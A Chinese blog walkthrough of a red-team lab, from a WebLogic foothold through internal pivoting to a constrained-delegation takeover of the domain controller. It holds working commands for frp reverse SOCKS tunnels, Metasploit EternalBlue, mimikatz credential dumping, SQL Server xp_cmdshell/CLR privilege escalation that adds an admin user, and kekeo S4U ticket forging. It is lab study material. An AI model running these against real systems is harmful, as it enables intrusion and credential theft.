漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控相关的知识,希望对你有一定的参考价值。


文章目录


从外网 Weblogic 打进内网,再到约束委派接管域控

靶场来自渗透攻击红队,官方 wp 及下载地址:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

本靶场存在的漏洞:

GPP:admin:admin!@#45
存在 GPP 漏洞
存在 MS14-068
存在 CVE-2020-1472
Exchange 各种漏洞都可尝试
可尝试非约束委派
可尝试约束委派
存在 CVE-2019-1388
存在 CVE-2019-0708

环境搭建

虚拟机文件比较大,解压之后有 74.8G,所以要保证有足够的空间,建议使用固态硬盘,解压之后直接使用 VMware 扫描虚拟机并依次获取权限

网站拓扑

更新一下上图的环境

网关 IP:192.168.43.252
Kali IP:192.168.43.58
Windows 11 hacker IP:192.168.43.166
Windows 2012 IP:192.168.43.92

发现 Windows 可以 ping 通 Kali,但是 kali 却 ping 不通,很容易想到是 Windows 的防火墙问题,关掉即可

还需要注意一个问题,这里选择的是桥接模式,之前都是 nat,其实用哪一种都行

这个图就很好地说明了之前的区别,就是使用 nat 模式的物理机是可以访问所有虚拟机的但是虚拟机无法访问物理机,使用桥接就可以相互访问,还有说如果是需要认证的校园网大概率用户不了桥接模式(虚拟机没法联网)

靶机一的 weblogic 需要手动开启

weblogic 安装目录:C:\\Oracle\\Middleware\\Oracle_Home\\user_projects\\domains\\base_domain(手动运行下 startWebLogic.cmd)

1.外网打点

目标 IP:192.168.43.92

使用 nmap 进行端口扫描服务发现

nmap -sV -sT -Pn 192.168.43.92

在一般实战中建议制定端口扫描,因为速度快且扫描精度高

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.43.92

发现开放了 7001 端口,即 weblogic 服务

http://192.168.43.92:7001/console/login/LoginForm.jsp

利用工具下载,过于脚本小子了

执行命令发现是 administrator 权限,并且可以连通外网

2.上线 CS

直接执行 Powershell 命令上线 CS

在 VPS 或者虚拟机 kali 上开启 CS server,生成监听器,执行命令

上线

通过命令发现存在第二个网卡,是一个内网网段

3.内网横向

信息收集

  • 抓取主机密码

    WEBLOGIC\\Administrator ccef208c6485269c20db2cad21734fe7
    

    靶机为 WinServer 2012 所以不能直接读明文密码

  • 判断是否在域内

    ipconfig /all
    

    判断在工作组中而不是在域中

    使用以下两条命令再确认一下

    systeminfo
    net config workstation
    

存活探测&漏洞扫描

CS 导入 Cobalt-Strike-Aggressor-Scripts 插件组,插件下载地址:https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts

加载之后右击主机列表会出现很多工具

向 Victim 机器上传 nbtscan,之后执行 nbtscan 输入目标 10.10.20.0/24

发现一台机器 IP 为 10.10.20.7

通过文件管理上传 fscan 进行扫描

shell fscan_win32.exe -h 10.10.20.0/24

确定目标机器为 win7 系统,并且存在永恒之蓝

搭建代理

  1. 搭建 Frp 隧道,进行漏洞利用,Kali 上配置 Frps.ini 配置文件

    启动 Frps

    ./frps -c frps.ini
    

  2. Victim 上传 frpc.exe 和 frpc.ini

    [common]
    server_addr = VPS/kali ip
    server_port = 7000
    
    [plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    启动 frpc

    shell frpc.exe -c frpc.ini
    

    启动之后代理就搭建完毕了,这样攻击者就可以通过跳板机 weblogic 靶机向内网发起访问请求

ms17010

因为内网 win7 主机存在 ms17010 直接用 msf

首先拿到 meterpreter 会话

msf6 > setg Proxies socks5:192.168.43.58:7777
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

proxy 的 IP 就是 kali 的 IP,rhost 就是内网地址

在 msf 攻击中可以清晰的看到攻击流程,使用的是目标 smb 445 端口

第一次以蓝屏终结

MSF永恒之蓝mf17010失败原因

  1. 一次没有成功再多次尝试
  2. 目标机器蓝屏
  3. MSF payload 为 64 位目标机器也需要 64 位,也 python 有 32 位 的 payload
  4. 永恒之蓝流量比较大

修改了下 win7 靶机内存调整到了 2G,第二次尝试成功

拿到 meterpreter

抓密码

加载 mimikatz 读密码

load mimikatz
msv
kerberos

也可以加载新版 mimikatz - wiki

可以发现没有明文密码,因为 win7 管理员没有登录,所以没有抓取到明文密码,只需要管理员登录机器再次执行命令就可以抓到明文密码

4.二层内网域渗透

PS:因为我的电脑重启地址基本都换了,更新下 IP,需要重新搭 frp 和 msf 连接

server 2012 weblogic:192.168.43.93

kali:192.168.43.99

win7上线cs

在 cs 中 win7 中转上线,现在上线 cs 的几种思路

  1. msf 上传 cs 的后门 exe 执行
  2. msf 的 meterpeter spawn 到 cs 会话
  3. cs 通过 ipc$ 上传 cs 后门到 win7 靶机通过计划任务执行

使用方案一

1.CS 设置中转监听器

2.生成后门

把后门上传到 kali,然后在 msf 中使用命令上传到靶机 win7

进入 shell,执行 beacon.exe

成功上线 cs

内网信息收集

  • shell whoami
    

    shell ipconfig
    

    发现内网 10.10.10.0/24 段

  • 判断是否域环境

    shell ipconfig /all
    

    shell net user /domain
    

  • 确定域控主机 IP

    net group "Domain Controllers" /domain
    或者 net time /domain
    ping owa -n 2
    

当前进程是没有域管的,所以暂且放弃令牌窃取

由于我们已经通过 ms17010 -> mimikatz 拿到了一个域用户的账户密码,尝试查找约束委派的用户

首先向 win7 靶机上传 adfind 工具

# 查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密

上传 fscan.exe 到靶机进行信息收集和漏洞扫描

PS:如果没有扫到 1433 端口,就进虚拟机把 SQL server 启动,启动不了

看这篇文章:链接,因为过试用期了,需要升级重新输入密码

正常启动

根据他开放的端口尝试以下操作:

  1. 80 端口 web 漏洞
  2. 1433 SQL server 漏洞
  3. 445 smb 等端口系统漏洞

其他拿域控思路:域控被突破的几种途径v2

二层Frp代理

现在尝试 80 端口漏洞

  1. 搭建使用 frp 多层代理,修改 weblogic 的 frp 配置文件,weblogic 既是客户端,也是服务端,需要修改 frps.ini,通过 cs 上传 frps 和 frps.ini

    启动 frps

    shell frps.exe -c frps.ini
    
  2. 数据服务器开启 frpc

    shell frpc.exe -c frpc.ini
    
    [common]
    server_addr = 10.10.20.12
    server_port = 1111
    
    [http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    建立链接

  3. 在攻击者的 windows 电脑上可以用 proxifier 设置代理链

    在攻击者的 windows 电脑上可以正常访问 10.10.10.18

发现 80 端口并没有什么利用点,尝试利用 SQL sever,因为现在搭建了二层代理所以部分操作可以用 windows 物理机直接攻击

打数据服务器SQL server

尝试爆破 SQL server 密码

使用工具成功爆破用户密码

可以看到流量被转发

这样就拿到了域控主机的 SQL server 密码

随后利用 SharpSQLTools.exe 工具对其进行 xp_cmdshell 调用系统命令,或者 SqlKnife 这个工具

.\\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami

却认为域控 ip

目前的权限是nt authority\\network service 即为普通服务权限,

由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了

既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧

一般 iis 的目录是:C:\\inetpub\\wwwroot,那么查看下是否存在

确实存在此目录,尝试写入文件,权限太小失败

在 MSSQL 中使用 CLR 组件提权,提权原理可以看这篇文章:https://www.anquanke.com/post/id/250346

在搜这个提权的时候还发现了一个华点就是搜关键词 install_clr 就可以搜到这个靶场的 wp

使用 SharpSQLTools 开启目标 clr,进行提权

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

然后启用并调用命令:

SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

提权成功,只能说太牛皮了

添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add"

升级为 admin 组

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"

查看用户

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user"

其他师傅试了多种方法都不行,他们最终选择了 msf,我就直接用 msf 了,其他师傅的文章可以在参考连接中找到

上线CS

漏洞利用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去 msf 的 payload,但是需要首先为 kali 设置代理,因为之前使用 frp 搭建了二层隧道,所以这里只需要设置 proxychains 的配置文件即可

1.设置 kali proxychains 代理保证 kali msf 可以访问到 10.10.10.18

vi /etc/proxychains.conf

代理链就和 Windows 物理机一样

2.上线 msf

使用代理启动 msf

proxychains msfconsole

使用 mssql_clr_payload 模块

use exploit/windows/mssql/mssql_clr_payload

3.生成中转上线的 cs 马,新建一个监听器,这里需要多层代理

生成 beacon.exe

4.通过 msf 上传 beacon.exe 并且执行,上线 sc,但是只有服务权限

使用 SharpSQLTools.exe 去执行 beacon,获取高权限用户,拿到 SQL server 主机

5.域内委派拿域控

cs 中拿到用户密码

之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过约束委派攻击来接管域控

通过 cs 上传工具 kekeo,利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

参考链接

http://moonflower.fun/index.php/2022/03/06/300/

https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

https://xie.infoq.cn/article/2edac2bc38860fa97386f7c27

以上是关于漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控的主要内容,如果未能解决你的问题,请参考以下文章

Redteam2靶场攻略(从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287CVE-2021-42278 拿到 DC)

[红日靶场]ATT&CK实战系列——红队实战(—)

ATT&CK实战系列——红队实战

ATK&CK1红队评估实战靶场Vulnstack之第二篇web漏洞

ATK&CK1红队评估实战靶场Vulnstack之第二篇web漏洞

ATK&CK2红队评估实战靶场Vulnstack2笔记